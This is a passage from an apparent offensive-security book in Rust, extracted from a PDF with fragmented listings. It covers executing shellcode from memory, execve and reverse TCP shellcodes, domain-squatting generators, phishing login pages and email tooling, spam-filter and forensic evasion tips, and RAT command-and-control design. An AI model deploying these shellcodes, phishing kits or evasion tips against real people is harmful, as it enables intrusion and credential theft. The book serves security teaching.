the top of your main.rs or lib.rs , and the compiler will understand
that you don’t want to use the standard library.
But, when using #![no_std] you have to take care of everything that
is normally handled by the standard library, such as starting the program.
Indeed, only the Rust Core library can be used in an #![no_std] program
/ library. Please also note that #![no_std] requires a nightly toolchain.
Also, we have to add special compiler and linker instructions in
.cargo/config.toml .
[dependencies]
[profile.dev]
panic = "abort"
[profile.release]
panic = "abort"
opt-level = "z"
lto = true
codegen-units = 1
195
.cargo/config.toml
[build]
rustflags = ["-C", "link-arg=-nostdlib", "-C", "link-arg=-static"]
main.rs
#![no_std]
#![no_main]
#![feature(start)]
#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
loop {}
}
And then build the program with cargo +nightly build (remember that
#![no_std] requires a nightly toolchain).
unsafe fn syscall3(scnum: usize, arg1: usize, arg2: usize, arg3: usize) -> usize {
let ret: usize;
asm!(
"syscall",
in("rax") scnum,
196
in("rdi") arg1,
in("rsi") arg2,
in("rdx") arg3,
out("rcx") _,
out("r11") _,
lateout("rax") ret,
options(nostack),
);
ret
}
fn main() {
unsafe {
syscall3(
SYS_WRITE,
STDOUT,
MESSAGE.as_ptr() as usize,
MESSAGE.len() as usize,
);
};
}
197
12.7 Executing shellcodes
Executing code from memory in Rust is very dependant of the platform as
all modern Operating Systems implement security measures to avoid it. The
following applies to Linux.
There are at least 3 ways to execute raw instructions from memory: * By
embedding the shellcode in the .text section of our program by using a
special attribute. * By using the mmap crate and setting a memory-mapped
area as executable . * A third alternative not covered in this book is to
use Linux’s mprotect function.
// we do this trick because otherwise only the reference is in the .text section
const SHELLCODE_BYTES: &[u8] = include_bytes!("../../shellcode.bin");
const SHELLCODE_LENGTH: usize = SHELLCODE_BYTES.len();
#[no_mangle]
#[link_section = ".text"]
static SHELLCODE: [u8; SHELLCODE_LENGTH] = *include_bytes!("../../shellcode.bin");
fn main() {
let exec_shellcode: extern "C" fn() -> ! =
unsafe { mem::transmute(&SHELLCODE as *const _ as *const ()) };
exec_shellcode();
}
198
12.7.2 Setting a memory-mapped area as executable
By using mmap, we can set a buffer as executable, and call it as if it were
raw code.
use mmap::{
MapOption::{MapExecutable, MapReadable, MapWritable},
MemoryMap,
};
use std::mem;
// as the shellcode is not in the `.text` section but in `.rodata`, we can't execute it as it
const SHELLCODE: &[u8] = include_bytes!("../shellcode.bin");
fn main() {
let map = MemoryMap::new(SHELLCODE.len(), &[MapReadable, MapWritable, MapExecutable]).unwrap
unsafe {
// copy the shellcode to the memory map
std::ptr::copy(SHELLCODE.as_ptr(), map.data(), SHELLCODE.len());
let exec_shellcode: extern "C" fn() -> ! = mem::transmute(map.data());
exec_shellcode();
}
}
SECTIONS
{
. = ALIGN(16);
.text :
{
*(.text.prologue)
*(.text)
*(.rodata)
199
}
.data :
{
*(.data)
}
/DISCARD/ :
{
*(.interp)
*(.comment)
*(.debug_frame)
}
}
Then, we need to tell cargo to use this file:
ch_08/hello_world/.cargo/config.toml
[build]
rustflags = ["-C", "link-arg=-nostdlib", "-C", "link-arg=-static", "-C", "link-arg=-Wl,-T../shel
[profile.release]
panic = "abort"
opt-level = "z"
lto = true
codegen-units = 1
200
Then we need to declare all our boilerplate and constants:
ch_08/hello_world/src/main.rs
#![no_std]
#![no_main]
#![feature(asm)]
#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
loop {}
}
unsafe fn syscall3(scnum: usize, arg1: usize, arg2: usize, arg3: usize) -> usize {
let ret: usize;
asm!(
"syscall",
in("rax") scnum,
in("rdi") arg1,
201
in("rsi") arg2,
in("rdx") arg3,
out("rcx") _,
out("r11") _,
lateout("rax") ret,
options(nostack),
);
ret
}
syscall1(SYS_EXIT, 0)
};
}
202
00000000 <.data>:
0: 48 8d 35 14 00 00 00 lea rsi,[rip+0x14] # 0x1b
7: 6a 01 push 0x1
9: 58 pop rax
a: 6a 0c push 0xc
c: 5a pop rdx
d: 48 89 c7 mov rdi,rax
10: 0f 05 syscall
12: 6a 3c push 0x3c
14: 58 pop rax
15: 31 ff xor edi,edi
17: 0f 05 syscall
19: c3 ret
1a: 68 65 6c 6c 6f push 0x6f6c6c65 # "hello world\n"
1f: 20 77 6f and BYTE PTR [rdi+0x6f],dh
22: 72 6c jb 0x90
24: 64 fs
25: 0a .byte 0xa
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
203
#![no_std]
#![no_main]
#![feature(asm)]
#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
loop {}
}
204
00000000 <.data>:
0: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x16
7: 48 8d 35 22 00 00 00 lea rsi,[rip+0x22] # 0x30
e: 6a 3b push 0x3b
10: 58 pop rax
11: 31 d2 xor edx,edx
13: 0f 05 syscall
15: c3 ret
16: 2f (bad) # "/bin/sh\x00"
17: 62 (bad)
18: 69 6e 2f 73 68 00 00 imul ebp,DWORD PTR [rsi+0x2f],0x6873
1f: 00 16 add BYTE PTR [rsi],dl
21: 00 00 add BYTE PTR [rax],al
23: 00 00 add BYTE PTR [rax],al
25: 00 00 add BYTE PTR [rax],al
27: 00 08 add BYTE PTR [rax],cl
29: 00 00 add BYTE PTR [rax],al
2b: 00 00 add BYTE PTR [rax],al
2d: 00 00 add BYTE PTR [rax],al
2f: 00 20 add BYTE PTR [rax],ah
31: 00 00 add BYTE PTR [rax],al
33: 00 00 add BYTE PTR [rax],al
35: 00 00 add BYTE PTR [rax],al
37: 00 00 add BYTE PTR [rax],al
39: 00 00 add BYTE PTR [rax],al
3b: 00 00 add BYTE PTR [rax],al
3d: 00 00 add BYTE PTR [rax],al
3f: 00 .byte 0x0
Looks rather good.
• at 0x17 we have the string "/bin/sh\x00"
• at 0x30 we have our ARGV array which contains a reference to
0x00000020 which itself is a reference to 0x00000017 , which is
exactly what we wanted.
Let try with gdb :
$ gdb executor/target/debug/executor
205
(gdb) break executor::main
(gdb) run
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
206
0x000055555555b717 <+43>: 00 00 add %al,(%rax)
0x000055555555b719 <+45>: 00 00 add %al,(%rax)
0x000055555555b71b <+47>: 00 20 add %ah,(%rax)
0x000055555555b71d <+49>: 00 00 add %al,(%rax)
0x000055555555b71f <+51>: 00 00 add %al,(%rax)
0x000055555555b721 <+53>: 00 00 add %al,(%rax)
0x000055555555b723 <+55>: 00 00 add %al,(%rax)
0x000055555555b725 <+57>: 00 00 add %al,(%rax)
0x000055555555b727 <+59>: 00 00 add %al,(%rax)
0x000055555555b729 <+61>: 00 00 add %al,(%rax)
0x000055555555b72b <+63>: 00 0f add %cl,(%rdi)
End of assembler dump.
Haaaaaa. We can see at offset 0x000055555555b71b our ARGV array.
But it sill points to 0x00000020 , and not 0x000055555555b70b . In the
same vein, 0x000055555555b70b is still pointing to 0x00000016 , and
not 0x000055555555b702 where the actual "/bin/sh\x00" string is.
This is because we used const variable. Rust will hardcode the offset, and
they won’t be valid when executing the shellcode. They are not position
independent.
To fix that, we will use local variables:
#[no_mangle]
fn _start() -> ! {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
unsafe {
syscall3(SYS_EXECVE, shell.as_ptr() as usize, argv.as_ptr() as usize, NULL_ENV);
};
loop {}
}
$ make dump_shell
Disassembly of section .data:
00000000 <.data>:
0: 48 83 ec 20 sub rsp,0x20
4: 48 8d 3d 27 00 00 00 lea rdi,[rip+0x27] # 0x32
207
b: 48 89 e0 mov rax,rsp
e: 48 89 38 mov QWORD PTR [rax],rdi
11: 48 8d 74 24 10 lea rsi,[rsp+0x10]
16: 48 89 06 mov QWORD PTR [rsi],rax
19: 48 83 66 08 00 and QWORD PTR [rsi+0x8],0x0
1e: 48 c7 40 08 08 00 00 mov QWORD PTR [rax+0x8],0x8
25: 00
26: 6a 3b push 0x3b
28: 58 pop rax
29: 31 d2 xor edx,edx
2b: 0f 05 syscall
2d: 48 83 c4 20 add rsp,0x20
31: c3 ret
32: 2f (bad)
33: 62 (bad)
34: 69 .byte 0x69
35: 6e outs dx,BYTE PTR ds:[rsi]
36: 2f (bad)
37: 73 68 jae 0xa1
39: 00 .byte 0x0
That’s better, but still not perfect! Look at offset 2d : the compiler is
cleaning the stack as a normal fonction would do. But we are creating a
shellcode, those 4 bytes are useless!
This is where the never type comes into play:
#[no_mangle]
fn _start() -> ! {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
unsafe {
syscall3(SYS_EXECVE, shell.as_ptr() as usize, argv.as_ptr() as usize, NULL_ENV);
};
loop {}
}
$ make dump_shell
Disassembly of section .data:
208
00000000 <.data>:
0: 48 83 ec 20 sub rsp,0x20
4: 48 8d 3d 24 00 00 00 lea rdi,[rip+0x24] # 0x2f
b: 48 89 e0 mov rax,rsp
e: 48 89 38 mov QWORD PTR [rax],rdi
11: 48 8d 74 24 10 lea rsi,[rsp+0x10]
16: 48 89 06 mov QWORD PTR [rsi],rax
19: 48 83 66 08 00 and QWORD PTR [rsi+0x8],0x0
1e: 48 c7 40 08 08 00 00 mov QWORD PTR [rax+0x8],0x8
25: 00
26: 6a 3b push 0x3b
28: 58 pop rax
29: 31 d2 xor edx,edx
2b: 0f 05 syscall
2d: eb fe jmp 0x2d
# before:
# 2d: 48 83 c4 20 add rsp,0x20
# 31: c3 ret
2f: 2f (bad) # "/bin/sh\x00"
30: 62 (bad)
31: 69 .byte 0x69
32: 6e outs dx,BYTE PTR ds:[rsi]
33: 2f (bad)
34: 73 68 jae 0x9e
36: 00 .byte 0x0
Thanks to this little trick, the compiler turned 48 83 c4 20 c3 into
eb fe . 3 bytes saved. From 57 to 54 bytes.
Another bonus of using stack variables is that now, our shellcode doesn’t
need to embed a whole, mostly empty array. The array is dynamically built
on the stack, like we would manually craft a shellcode.
$ make run_shell
$ ls
Cargo.lock Cargo.toml src target
$
It works!
209
12.11 Reverse TCP shellcode
Finally, let see a more advanced shellcode, to understand where a high-level
language really shines.
The shellcodes above could be rafted in a few, simple, lines of assembly.
A reverse TCP shellcode establishes a TCP connection to a server, spawns
a shell, and forward STDIN, STOUT and STDERR to the TCP stream. It
allows an attacker with a remote exploit to take control of a machine.
Here is what it looks like in C:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
void main() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
210
push 0x0100007f ; 127.0.0.1 == 0x7f000001
mov bx, 0x6a1f ; 8042 = 0x1f6a
push bx
mov bx, 0x2
push bx
pop rdi
mov rsi, 2
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall
push 0x68732f
push 0x6e69622f
mov rdi, rsp
xor rdx, rdx
push rdx
push rdi
mov rsi, rsp
mov rax, 59
syscall
��
I think I need no more explanation why a higher-level language is needed for
211
advanced shellcodes.
Without further ado, let’s start to port it to Rust.
First, our constants:
ch_08/reverse_tcp/src/main.rs
const PORT: u16 = 0x6A1F; // 8042
const IP: u32 = 0x0100007f; // 127.0.0.1
#[repr(C)]
struct in_addr {
s_addr: u32,
}
And finally, logic of our program, which take some parts of the shell
shellcode.
#[no_mangle]
fn _start() -> ! {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
212
let socket_addr = sockaddr_in {
sin_family: AF_INET as u16,
sin_port: PORT,
sin_addr: in_addr { s_addr: IP },
sin_zero: [0; 8], // initialize an emtpy array
};
let socket_addr_size = core::mem::size_of::<sockaddr_in>();
unsafe {
let socket_fd = syscall3(SYS_SOCKET, AF_INET, SOCK_STREAM, IPPROTO_IP);
syscall3(
SYS_CONNECT,
socket_fd,
&socket_addr as *const sockaddr_in as usize,
socket_addr_size as usize,
);
loop {}
}
213
12.12 Going further
12.12.1 Relocation model
Coming soon
12.13 Summary
• Only the Rust Core library can be used in an #![no_std] program
/ library
• A Shellcode in Rust is easy to port across different architecture, while
in assembly it’s close to impossible
• The more complex a shellcode is, the more important it is to use a
high-level language to craft it
• Shellcodes need to be position independent
• When crafting a shellcode in Rust, use the stack instead of const
arrays
• Use the never type and an infinite loop to save a few bytes when working
with stack variables
214
Chapter 13
215
As you may have guessed, this is the latter that we will learn in this chpater.
And I have good news: The art of persuasion hasn’t changed in 2000 years!
So there are countless writings on the topic.
216
Why this system administrator should give you a link to reset credentials?
Maybe because you are blocked and won’t be able to work until you are able
to reset your credentials.
217
That’s why you can’t understand the success of populist politicians with
your neocortex. Their discourses are tailored to trigger and affect the hy-
pothalamuses of their listeners. They are designed to provoke emotive, not
intellectual, reactions.
Same for advertisements.
Please note that this model is controversed, still, using this model
to analyze the world opens a lot of doors.
13.1.6 Framing
Have you ever felt not being heard? Whether it be in a diner with friends,
while presenting a project in a meeting, or when pitching your new startup
to an investor?
So you start optimizing for the wrong things, tweaking the irrelevant details.
A little bit more of blue here, it’s the color that gives trust!
Stop!
Would you ever build a house, as beautiful as its shutters may be, without
good foundations?
It’s the same thing for any discourse whose goal is to persuade. You need to
build solid foundations before unpacking the ornaments.
These foundations are called framing.
Framing is the science and art to set the mental boundaries of a discourse, a
debate or a situation.
The most patent example of framing you may be influenced by in daily life
is news media. You always thought that mass media can’t tell what to think.
Right. But they can tell you what to think about.
They build a frame around the facts in order to push their political agenda.
They make you think in their own terms, not yours. Not objective terms.
You react, you lose.
The problem is: You can’t talk to the Neocortex and expose your log-
ical arguments if the lizard brain already (unconsciously) rejected
you.
218
This is where framing comes into play.
219
To counter this kind of frame, use storytelling. You have to hit the emotions,
not the Neocortex.
The Prizing Frame: the author describes prizing as “The sum of the ac-
tions you take to get your target to understand that he is a commodity and
you are the prize.”.
If you do not value yourself, then no one else will. So start acting as if you
are the gem, and they may lose big by not paying attention.
Warning: It can quickly escalate into an unhealthy ego war.
13.1.6.2 Conclusion
If you don’t own the frame, your arguments will miss 100% of the time.
Before trying to persuade anyone of anything, you have to create a context
favorable to your discourse. As for everything, it requires practice to master.
Don’t waste time: start analyzing who owns the frame in your next meeting.
I highly recommend “Pitch Anything: An Innovative Method for Pre-
senting, Persuading, and Winning the Deal”, by Oren Klaff to deepen
the topic.
220
13.2.2 Shoulder surfing
Shoulder surfing simply means that you you look where or what you
shouldn’t: - Computer screens (in the train or cafes for example) -
Employees’ badges (in public transports)
13.3 Phishing
In marketing, it’s called outbound marketing.
It’s when you directly reach your target. I think I don’t need to join a
screenshot because you certainly already received thousands of these annoy-
ing emails and SMS telling you to update your bank password or something
like that.
We call a phishing operation a campaign, like a marketing campaign.
As you may have guessed, the goal is to do better that these annoying spam
messages as it would raise a red flag in the head of most working professionals.
Coming soon: phishing email screenshots
221
could have received from a coworker or family member.
Now imagine our victim wants to visit mybank.com but instead types
mybamk.com . If some attackers own the domain mybamk.com and set up
a website abolutely similar to mybank.com but collects credentials instead
of providing legitimate banking services.
222
The same can be achieved with any domain name! Just look at your keyboard:
Which keys are too close and similar? Which typos do you do the most often?
223
In this example, if attackers control acc.com , they may receive originally
destined for abc.com without any human error!
Here is a small program to generate all the “bitshifted” alternatives of a given
domain: ch_09/dnsquat/src/main.rs
use std::env;
fn main() {
let args = env::args().collect::<Vec<String>>();
if args.len() != 3 {
println!("Usage: dnsquat domain .com");
return;
}
for i in 0..name.len() {
let charac = name.as_bytes()[i];
for bit in 0..8 {
let bitflipped = bitflip(charac.into(), bit);
if is_valid(bitflipped as char)
&& bitflipped.to_ascii_lowercase() != charac.to_ascii_lowercase()
{
let mut bitsquatting_candidat = name.as_bytes()[..i].to_vec();
bitsquatting_candidat.push(bitflipped);
bitsquatting_candidat.append(&mut name.as_bytes()[i + 1..].to_vec());
println!(
"{}{}",
String::from_utf8(bitsquatting_candidat).unwrap(),
tld
);
}
}
224
}
}
225
connected to his computer (thinking they were connecting to the wifi network
of the campus), they were served the portal where thay needed to enter
their credential to connect to internet, as usual. But as you guessed, it was
a phishing form, absolutely identical as the legitimate portal, and all the
credentials were logged in a database on the computer of the attacker.
The success rate was in the order of 80%-90%: 80-90% of the people who
connected to the false access point got their credentials siphoned!
Then, the phishing portal simply displayed a network error page, telling the
victims that there was a problem with internet and their request couldn’t be
processed further in order not to raise suspicion, as you would expect from
an university campus’ network which was not always working.
13.5.1 How-to
Even if this attack is not related to Rust, it’s so effective that I still want to
share you how to do it.
Coming soon
226
13.6 Telephone
With the advances in Machine Learning (ML) and the emergence of deepfakes,
it will be easier and easier for scammers and attackers to spoof an identity
over the phone, and we can expect this kind of attack to only increase on
impact in the future, such as this attack where a scammer convinced
13.7 WebAssembly
WebAssembly is described by the webassembly.org website as: WebAssembly
(abbreviated Wasm) is a binary instruction format for a stack-based virtual
machine. Wasm is designed as a portable compilation target for programming
languages, enabling deployment on the web for client and server applications.
…
Put in an intelligible way, WebAssembly (wasm) is fast and efficient low-level
code that can be executed by most of the browsers (as of July 2021, ~93.48
of web users can use WebAssembly). But you won’t write wasm ny hand,
it’s a compilation target. You write a high-level language such as Rust, use
a special compiler, and it produces WebAssembly! In theory, it sunsets a
future where client web applications won’t be written in JavaScript, but in
any language you like that can be compiled to WebAssembly.
There is also the wasmer runtime to execute wasm on servers.
227
Figure 13.4: WebAssembly
ally. There are dozen, if not more email clients, all interpreting HTML in a
different way. They are the definition of tech legacy.
Fortunately, there is the awesome mjml framework. You can use the online
editor to create your templates: https://mjml.io/try-it-live.
I guarantee you that this extremely hard to get without mjml!
We will use the following template:
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-divider border-color="#4267B2"></mj-divider>
</mj-column>
</mj-section>
</mj-body>
</mjml>
228
Figure 13.5: Responsive email
ch_09/emails/src/main.rs
229
// email data
let from = "[email protected]".to_string();
let to = "[email protected]".to_string();
let subject = "".to_string();
let title = subject.clone();
let content = "".to_string();
// template things
let mut templates = tera::Tera::default();
// don't escape input as it's provided by us
templates.autoescape_on(Vec::new());
templates.add_raw_template("email", template::EMAIL_TEMPLATE)?;
smtp::send_email(&mailer, email.clone()).await?;
ch_09/emails/src/smtp.rs
use lettre::{AsyncSmtpTransport, AsyncTransport, Message, Tokio1Executor};
230
email: Message,
) -> Result<(), anyhow::Error> {
mailer.send(email).await?;
Ok(())
}
ch_09/emails/src/ses.rs
use lettre::Message;
use rusoto_ses::{RawMessage, SendRawEmailRequest, Ses, SesClient};
ses_client.send_raw_email(ses_request).await?;
Ok(())
}
231
Use one domain per campaign: Usign the same domain across multiple
offensive campigns is a very, very bad idea. Not only that once a domain
is flagged by spam systems, your campaigns will lose their effectiveness, but
it will also allow forensic analysts to understand more easily your modus
operandi.
Don’t send emails in bulk: The more your emails are targeted, the less
are the chance to be cuaght by spam filters, and, more importantly, to raise
suspicion. Also, sending a lot of similar emails at the same moment may
triggers spam filters.
IP address reputation: When eveluating if an email is spam or not, algo-
rithms will take in account the reputation of the IP address of the sending
server. Basically, each IP address has a reputation, and once an IP is caught
sending too much undesirable emails, its reputation drops, and the emails
are blocked. A lot of paramters are took in account like, is the IP from a res-
idential neighborhood (often blocked, because infected by botnets individual
computers used to be the source of a lot of spam) or a data-center, and so
on.
Set up SPF, DKIM and DMARC: SPF (Sender Policy Framework) is
an email authentication method designed to detect forging sender addresses
during the delivery of the email.
DKIM (DomainKeys Identified Mai) is an email authentication method de-
signed to detect forged sender addresses in email (email spoofing), a technique
often used in phishing and email spam.
DMARC (Domain-based Message Authentication, Reporting, and Confor-
mance) is an email authentication and reporting protocol. It is designed to
give email domain owners the ability to protect their domain from unautho-
rized use, commonly known as email spoofing.
Those are all TXT DNS entries to set up. it can be done in ~5 mins, so there
is absolutely no reason to not do it.
So why use anti-spam tools for phishing? Because if a domain hasn’t those
records set up, anti-spam filter will almost universally block the email from
this domain.
Spellcheck you content: We all received this email from this Nigerian
prince wanting to send us a briefcase full of cash. You don’t want to look
232
like that, do you?
13.10 Architecture
We won’t spend time detailing the server now, we will dig this topic in the
next chapter.
233
13.11 Cargo Workspaces
When a project becomes larger and larger or when different people are work-
ing on different parts of the project, it may no longer be convenient or possible
to use a single crate.
This is when Cargo workspaces come into play. A workspace allows multiples
crates to share the same target folder and Cargo.lock file.
Here, it will allows us to split the different parts of our project in different
crates:
[workspace]
members = [
"webapp",
"server",
"common",
]
default-members = [
"webapp",
"server",
]
[profile.release]
lto = true
debug = false
debug-assertions = false
codegen-units = 1
#[derive(Serialize, Deserialize)]
234
pub struct LoginRequest {
pub email: String,
pub password: String,
}
Then you can serialize / deserialize JSON with a specialized crate such as
serde_json :
// decode
let req_data: LoginRequest = serde_json::from_str("{ ... }")?;
// encode
let json_response = serde_json::to_string(&req_data)?;
Most of the time, you don’t have to do it yourself as it’s taken care by some
framework, such as the HTTP client library or the web server.
235
Figure 13.7: Architecture of a client web application
13.13.2 Models
Note that one great thing about using the same language on the backend
than on the frontend is the ability to re-use models:
ch_09/phishing/common/src/api.rs
pub mod model {
use serde::{Deserialize, Serialize};
236
pub struct Login {
pub email: String,
pub password: String,
}
13.13.3 Components
At the begining there are components. Components are reusable pieces of
functionnality or design.
To build our components, we use the yew , crate which is the most advanced
and supported Rust frontend framework.
ch_09/phishing/webapp/src/components/error_alert.rs
use yew::{html, Component, ComponentLink, Html, Properties, ShouldRender};
#[derive(Properties, Clone)]
pub struct Props {
#[prop_or_default]
pub error: Option<crate::Error>,
}
237
fn create(props: Self::Properties, _: ComponentLink<Self>) -> Self {
ErrorAlert { props }
}
238
}
239
Msg::UpdateEmail(email) => {
self.email = email;
}
Msg::UpdatePassword(password) => {
self.password = password;
}
}
true
}
html! {
<div>
<components::ErrorAlert error=&self.error />
<form onsubmit=onsubmit>
<div class="mb-3">
<input
class="form-control form-control-lg"
type="email"
placeholder="Email"
value=self.email.clone()
oninput=oninput_email
id="email-input"
/>
</div>
<div class="mb-3">
<input
class="form-control form-control-lg"
type="password"
placeholder="Password"
240
value=self.password.clone()
oninput=oninput_password
/>
</div>
<button
class="btn btn-lg btn-primary pull-xs-right"
type="submit"
disabled=false>
{ "Sign in" }
</button>
</form>
</div>
}
}
}
13.13.4 Pages
Pages are assemblages of components, and are component themselves in yew.
ch_09/phishing/webapp/src/pages/login.rs
pub struct Login {}
241
<div class="col col-md-8">
<h1>{ "My Awesome intranet" }</h1>
</div>
</div>
<div class="row justify-content-md-center">
<div class="col col-md-8">
<LoginForm />
</div>
</div>
</div>
</div>
}
}
}
13.13.5 Routing
Then we decalre all the possible routes of our application. Here, as we want
that all the URLs redirect to our login form, we can use *
ch_09/phishing/webapp/src/lib.rs
#[derive(Switch, Debug, Clone)]
pub enum Route {
#[to = "*"]
Login,
}
13.13.6 Services
13.13.6.1 Making HTTP requests
Making HTTP requests is a little bit harder, as we need a callback and to
deserialize the responses.
ch_09/phishing/webapp/src/services/http_client.rs
#[derive(Default, Debug)]
pub struct HttpClient {}
impl HttpClient {
pub fn new() -> Self {
Self {}
}
242
pub fn post<B, T>(
&mut self,
url: String,
body: B,
callback: Callback<Result<T, Error>>,
) -> FetchTask
where
for<'de> T: Deserialize<'de> + 'static + std::fmt::Debug,
B: Serialize,
{
let handler = move |response: Response<Text>| {
if let (meta, Ok(data)) = response.into_parts() {
if meta.status.is_success() {
let data: Result<T, _> = serde_json::from_str(&data);
if let Ok(data) = data {
callback.emit(Ok(data))
} else {
callback.emit(Err(Error::DeserializeError))
}
} else {
match meta.status.as_u16() {
401 => callback.emit(Err(Error::Unauthorized)),
403 => callback.emit(Err(Error::Forbidden)),
404 => callback.emit(Err(Error::NotFound)),
500 => callback.emit(Err(Error::InternalServerError)),
_ => callback.emit(Err(Error::RequestError)),
}
}
} else {
callback.emit(Err(Error::RequestError))
}
};
FetchService::fetch(request, handler.into()).unwrap()
}
}
243
That being said, it has the advantage as being extremely robust as all possible
errors are handled. No more uncatched runtime errors that you will never
know about.
13.13.7 App
ch_09/phishing/webapp/src/lib.rs
pub struct App {}
html! {
<Router<Route, ()> render=render/>
}
}
}
244
13.14 How to defend
13.14.1 Password managers
In addition to save differents passwords for different sites, which is a prereq-
uisite of online security, they fils credentials only on legitimate domains.
If you click on a phishing link, and are redirect to a perfect looking, but
malicious, login form, the password maanger will detect that you are not on
the legitimate website of the service and thus not fill the form and leak your
credential to attackers.
With t2o-factor authentication, they are the most effective defense against
phishing.
13.14.4 Training
Training, training and training. We are all fallible humans and may, one day
where we are tired, or thinking about something else, fall in a phishing trap.
For me the only two kinds of phishing training that are effective are:
245
The quizzes where you have to guess if a web page is a phishing attempt,
or a legitimate page. They are really useful to raise awarness about what
scams and attacks look like: * https://phishingquiz.withgoogle.com *
https://www.opendns.com/phishing-quiz * https://www.sonicwall.com/ph
ishing-iq-test * https://www.ftc.gov/tips-advice/business-center/small-
businesses/cybersecurity/quiz/phishing
And real phishing campaigns by your security team against your own employ-
ees, with a debrief afterward of course, for everybody, not just the people
who fall in the trap. The problem with those campaigns is that they have to
be frequent, and may irritate your employees.
13.15 Summary
• Humans is often the weakest link
• Ethos, Pathos and Logos
• Awarness, Interest, Desire, Action (AIDA)
246
Chapter 14
A modern RAT
247
Figure 14.1: How a downloader works
248
Figure 14.2: Architecture of a RAT
249
14.1.4.1 Telegram
One example of a bot using telegram as C&C channel is ToxicEye.
But why is telegram so prominent among attackers? First because of the
fog surrounding the company, and secondly because it’s certainly the social
network which is the easiest to automate, as bots are first-class citizen on
the platofrm.
14.1.4.3 DNS
The advantage of using DNS is that the protocol is that it’s certainly the
protocol with the least chances of being blocked.
14.1.4.4 Peer-to-Peer
Peer-to-Peer (P2P) communication refers to an architecture pattern where
no server is required, and agents (nodes) communicate directly.
In theory, the client could connect to any agent (called a node of the network),
send commands and the node will spread them to the other nodes. But in
proactice, due to network constraints such as NAT, some nodes of the network
are temporarily elected as super-nodes and all the other agents connect to
them. Operators then just have to send instructions to super-nodes and they
will forward them to the good agents.
Due to the role super-node are playing and the fact that they can be con-
trolled by adversaries, end-to-end encryption (as we will see in the next chap-
ter) is mandatory in such a topology.
Some P2P RAT are ZeroAccess and some variants of Zeus.
250
Figure 14.3: P2P architecture
251
Figure 14.4: using an external drive to escape an air-gapped network
14.2.2 Meterpreter
Meterpreter (from the famous Metasploit offensive security suite), is defined
by its creators as “an advanced, dynamically extensible payload that uses in-
memory DLL injection stagers and is extended over the network at runtime.
It communicates over the stager socket and provides a comprehensive client-
side Ruby API. It features command history, tab completion, channels, and
more.”.
252
14.2.4 Pegasus
While writing this book, circa July 2021, a scandal broke out about some
kind of Israeli spyware called pegasus, which was used to spy a lot of civilians,
and reporters.
In fact, this spyware was already covered in 2018 and 2020.
You can find two great reports about the use if the Pegasus RAT to target
journalists on the citizenlab.ca website.
253
14.4 Designing the server
14.4.1 Which C&C channel to choose
Among the channels previously listed, the one that will be perfect 80% of
the time and require 20% of the efforts (Hello Pareto) is HTTP(S).
Indeed, the HTTP protocol is rarely blocked, and being the roots of the web,
there are countless mature implementations ready to be used.
My experience is that if you decide not to use HTTP(S) and instead im-
plement your own protocol, you will end with the same features as HTTP
(Responses / Requests, Streaming, Transport encryption, metadata) but half-
backed, less reliable, and without the millions (more?) of man-hours work
on the web ecosystem.
14.4.2.2 WebSockets
A websocket is a bidirectional stream of data. The client etablishes a con-
nection to the server, and then they can both send data.
254
Figure 14.5: Short polling
255
There are a lot of problems when using websockets. First it requires to
keep a lot of, often idle, open connections, which is wasteful in terms of
server resources. Second, there is no auto-reconnection mecanism, each time
a network error happens (if the client change from wifi to 4G for example),
you have to implement your own reconnection algorithm. Third, There is
no built-in authentication mecanism, so you often have to hack your way
through handshakes and some kind of other customer protocols.
Websockets are the way to go if you need absolute minimal network usage
and minimal latency.
The principal downside of websockets is the complexity of implementation.
Moving from a request/response paradigm to streams is not only hard to shift
in terms of understanding code organzation, but also is terms of architecture
(like how to configure your reverse proxies…).
Contrary to websockets, SSE streams are unidirectional: only the server can
send data back to the client. Also, the mecanism for auto-reconnection is
(normally) built-in into clients.
Like websockets, it requires to keep a lot of, open connections.
256
The downside, is that it’s not easy to implement server-side.
Finally there is long polling: the client emit a request, with an indication
of the last piece of data it has, and the server sends the response back only
when new data is available, or when a certain amount of time is reached.
It has the advantage of being extremely simple to implement, as it’s not a
stream, but a simple request-response scheme, and thus is extremely robust,
does not require auto-reconnection, and can handle network error gracefuly.
Also, in countrary to short polling, long polling is less wasteful regarding
resources usage.
The only downside, is that it’s not as fast as websockets regarding latency,
but it does not matter for our usecase (it would matter only if we were
designing a real-time game).
Long polling is extremely efficient in Rust in contrary to a lot of other pro-
gramming languages. Indeed, thanks to async , very few resources (a
simple async Task) are used per open connection, while a lot of languages
use a whole OS thread.
257
Also, as we will see later, implementing graceful shutdowns for a server serv-
ing long-polling requests is really easy (unlike with WebSockets or SSE).
Finally, as long-polling is simple HTTP requests, it’s the technique which has
the more chances of not being blocked by some kind of aggressive firewall or
network equipement.
This is for all these reasons, but simplicity and robustness being the principal
ones, that we choose long-polling to implement real-time communications for
our RAT.
258
This architecture splits projects into different layers in order to produce sys-
tems that are 1. Independent of Frameworks. The architecture does not
depend on the existence of some library of feature laden software. This allows
you to use such frameworks as tools, rather than having to cram your system
into their limited constraints. 2. Testable. The business rules can be tested
without the UI, Database, Web Server, or any other external element. 3. In-
dependent of UI. The UI can change easily, without changing the rest of the
system. A Web UI could be replaced with a console UI, for example, without
changing the business rules. 4. Independent of Database. You can swap out
Oracle or SQL Server, for Mongo, BigTable, CouchDB, or something else.
Your business rules are not bound to the database. 5. Independent of any
external agency. In fact your business rules simply don’t know anything at
all about the outside world.
